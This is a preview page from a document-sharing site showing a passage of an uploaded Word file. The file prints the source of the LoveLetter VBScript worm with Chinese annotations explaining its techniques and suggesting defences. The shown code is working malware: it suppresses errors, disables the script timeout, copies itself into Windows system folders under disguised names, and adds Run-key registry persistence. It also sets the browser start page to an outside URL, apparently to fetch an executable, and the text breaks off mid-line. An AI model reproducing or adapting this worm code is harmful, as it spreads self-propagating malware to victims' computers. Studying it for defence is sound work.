程序中的中文注释为本人所加,并针对病毒特点予以解释,.doc

程序中的中文注释为本人所加,并针对病毒特点予以解释,.doc

ID:28574214

大小:37.50 KB

页数:9页

时间:2018-12-11

程序中的中文注释为本人所加,并针对病毒特点予以解释,.doc_第1页
程序中的中文注释为本人所加,并针对病毒特点予以解释,.doc_第2页
程序中的中文注释为本人所加,并针对病毒特点予以解释,.doc_第3页
程序中的中文注释为本人所加,并针对病毒特点予以解释,.doc_第4页
程序中的中文注释为本人所加,并针对病毒特点予以解释,.doc_第5页
资源描述:

《程序中的中文注释为本人所加,并针对病毒特点予以解释,.doc》由会员上传分享,免费在线阅读,更多相关内容在学术论文-天天文库

1、程序中的中文注释为本人所加,并针对病毒特点予以解释,同时,给出了预防病毒的方法。'我个人认为LoveLetter写的并不是十分的棒,但是它使用的不少技术确实令人赞叹'病毒作者也许没有受过专业的编程训练,但是从选择的程序资源来看,确实下了一番功夫。'本病毒源码也可以用来回答VB爱好者的很多问题。rembarok-loveletter(vbe)remby:spyder/ispyder@mail.com/@GRAMMERSoftGroup/Manila,Philippines

2、'注释:程序作者的签名(可能)OnErrorResumeNextdimfso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,doweq=""ctr=0Setfso=CreateObject("Scripting.FileSystemObject")'注释:FileSystemObject是M$VBVM系统中最危险的部分,它的功能十分强大'从病毒使用FSO可以知道,通过修改注册表,可以轻易防止LoveLetter发作。setfile=fso.OpenTextFi

3、le(WScript.ScriptFullname,1)vbscopy=file.ReadAllmain()'注释-程序初始化完成。submain()OnErrorResumeNextdimwscr,rrsetwscr=CreateObject("WScript.Shell")rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWindowsScriptingHostSettingsTimeout")if(rr>=1)thenwscr.RegW

4、rite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsScriptingHostSettingsTimeout",0,"REG_DWORD"'注释-防止操作超时造成的程序终止。'应该说,编写病毒的程序员考虑到了可能发生的问题,这一点值得所有的编程者借鉴。endifSetdirwin=fso.GetSpecialFolder(0)Setdirsystem=fso.GetSpecialFolder(1)Setdirtemp=fso.GetSpecialFold

5、er(2)'获取系统关键文件夹的名称'VB编程时可以用。Setc=fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&"MSKernel32.vbs")c.Copy(dirwin&"Win32DLL.vbs")c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")'复制自身到关键目录中备用。'文件名并不是很好。太容易被发现了。regruns()html()spreadtoemail()listadriv()

6、endsubsubregruns()'修改注册表,以便自动装载病毒程序'预防:经常检查注册表中的这一分支。'已知的方法还有把HTA放入Startup文件夹。病毒程序使用的方法更先进,'因为它不会因为语言问题而失效。OnErrorResumeNextDimnum,downreadregcreate"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32",dirsystem&"MSKernel32.vbs"r

7、egcreate"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWin32DLL",dirwin&"Win32DLL.vbs"downread=""downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternetExplorerDownloadDirectory")if(downread="")thendownread="c:"endifi

8、f(fileexist(dirsystem&"WinFAT32.exe")=1)thenRandomizenum=Int((4*Rnd)+1)ifnum=1thenregcreate"HKCUSoftwareMicrosoftInternetExplorerMainStartPage","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。